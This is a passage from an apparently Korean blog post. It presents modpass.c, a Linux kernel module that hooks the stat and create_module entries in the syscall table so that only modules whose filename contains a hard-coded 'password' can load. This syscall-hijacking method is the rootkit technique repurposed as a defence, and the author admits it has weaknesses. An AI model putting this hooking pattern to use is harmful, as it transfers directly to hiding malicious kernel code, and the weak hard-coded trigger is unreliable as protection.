sys_call_table[SYS_create_module]=orig_create_module;                                       } --creat_module.c-- 지정된 모듈만 올리기. 커널 모듈이 주는 그 자유는 해커에게만 적용되는 것이 아니다. 우리는 마찮가지로 해커가 하는 짓보다 먼저 선수를 칠수도 있다. 여기서는 미리 지정된 모듈만을 올려보자. 대부분의 경우 특별한 시스템 모듈 프로그래밍이나 커널 프로그래밍 작업중이 아니라면 우리의 모듈을 올리고 내리는 짓은 거의 사용되지 않는다. 네트웍카드나, 비디오카드와 같이 지정된 모듈만을 커널 내부로  허용 하는 것은 어떤 모듈도 올리지 못하게 하는것 보다 사려깊은 일이다. 아래의 modpass는 미리 지정된 filename을 가진 모듈만을 커널 내부로 수용한다. 이에도 약점이 없는 것은 아니나, 얼마만큼의 대책이 될수 있다. ++modpass.c++ /*   * modpass.c   * allow to load modules that matched to strings we permarked   *   */ #define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <sys/syscall.h> #include <asm/uaccess.h> #include <sys/stat.h> #include <linux/malloc.h> extern void* sys_call_table[]; int lock_mod=0; int (*orig_create_module)(char*, unsigned long); int (*orig_stat) (const char *, struct old_stat*); int hacked_stat(const char *filename, struct old_stat *buf) {     char *name;     int ret;     char *password = "password"; //passowd.o란 모듈만을 허용한다.     /*yeah, a great password*/     printk("hacked stat called \n");     name = (char *) kmalloc(255, GFP_KERNEL);     (void) strncpy_from_user(name, filename, 255);     /*do we have our password ?*/     if (strstr(name, password)!=NULL)     {         /*allow loading a module for one time*/         lock_mod=1;         kfree(name);             return 0;     }     else {         kfree(name);         ret = orig_stat(filename, buf);     }     return ret; } int hacked_create_module(char *name, unsigned long size) {     char *kernel_name;     int ret;     if (lock_mod==1)     {         lock_mod=0;         ret=orig_create_module(name, size);         return ret;     }     else     {         printk("<1>MOD-POL : Permission denied !\n");         return 0;     }     return ret; } int init_module(void)                /*module setup*/ {     orig_stat = sys_call_table[__NR_stat];     sys_call_table[__NR_stat]=hacked_stat;     orig_create_module = sys_call_table[SYS_create_module];     sys_call_table[SYS_create_module]=hacked_create_module;     printk("<1>MOD-POL LOADED...\n");     return 0; } void cleanup_module(void)            /*module shutdown*/ {     sys_call_table[__NR_stat]=orig_stat;                                           sys_call_table[SYS_create_module]=orig_create_module;                                       } --modpass.c-- EOF_CONTENTS_HERE

Posted by 영웅기삼
,